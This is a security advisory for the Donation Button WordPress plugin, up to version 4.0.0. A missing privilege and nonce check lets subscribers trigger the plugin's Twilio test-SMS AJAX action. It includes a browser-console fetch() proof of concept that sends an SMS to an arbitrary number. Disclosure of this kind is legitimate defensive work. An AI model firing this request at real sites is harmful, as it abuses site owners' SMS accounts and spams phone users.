Donation Button <= 4.0.0 - Subscriber+ Broken Access Control leading to SMS Spam

The plugin does not properly check for privileges and nonce tokens in its “donation_button_twilio_send_test_sms” AJAX action, which may allow any users with an account on the affected site, like subscribers, to use the plugin’s Twilio integration to send SMSes to arbitrary phone numbers.

PoC

While logged onto the site as a subscriber, paste the following in your browser’s console: fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=donation_button_twilio_send_test_sms&donation;_button_twilio_sms_test_mobile_number=+36205551122&donation;_button_twilio_sms_test_message=TEXT’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));